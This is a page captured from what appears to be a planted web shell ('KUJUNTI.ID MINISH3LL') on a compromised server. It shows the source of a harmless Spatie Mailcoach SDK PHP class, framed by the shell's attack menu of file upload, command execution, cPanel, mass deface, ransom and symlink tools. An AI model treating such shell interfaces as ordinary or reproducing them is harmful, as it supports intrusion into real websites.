KUJUNTI.ID MINISH3LL
Path : /var/www/clients/client0/web25/web/vendor/spatie/mailcoach-sdk-php/src/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/clients/client0/web25/web/vendor/spatie/mailcoach-sdk-php/src/Mailcoach.php


<?php

namespace Spatie\MailcoachSdk;

use GuzzleHttp\Client;
use GuzzleHttp\ClientInterface;
use Spatie\MailcoachSdk\Actions\ManagesCampaigns;
use Spatie\MailcoachSdk\Actions\ManagesEmailLists;
use Spatie\MailcoachSdk\Actions\ManagesSubscribers;

class Mailcoach
{
    use MakesHttpRequests;
    use ManagesEmailLists;
    use ManagesSubscribers;
    use ManagesCampaigns;

    public function __construct(
        public string $apiToken,
        public string $mailcoachEndpoint,
        public ?ClientInterface $client = null
    ) {
        $this->client ??= new Client([
            'http_errors' => false,
            'base_uri' => $this->mailcoachEndpoint.'/',
            'headers' => [
                'Authorization' => "Bearer {$this->apiToken}",
                'Accept' => 'application/json',
                'Content-Type' => 'application/json',
            ],
        ]);
    }

    public function apiToken(): string
    {
        return $this->apiToken;
    }

    public function endpoint(): string
    {
        return $this->mailcoachEndpoint;
    }
}

© KUJUNTI.ID

Website Feedback Form

Please fill out the form below to send us your feedback.




Contact Support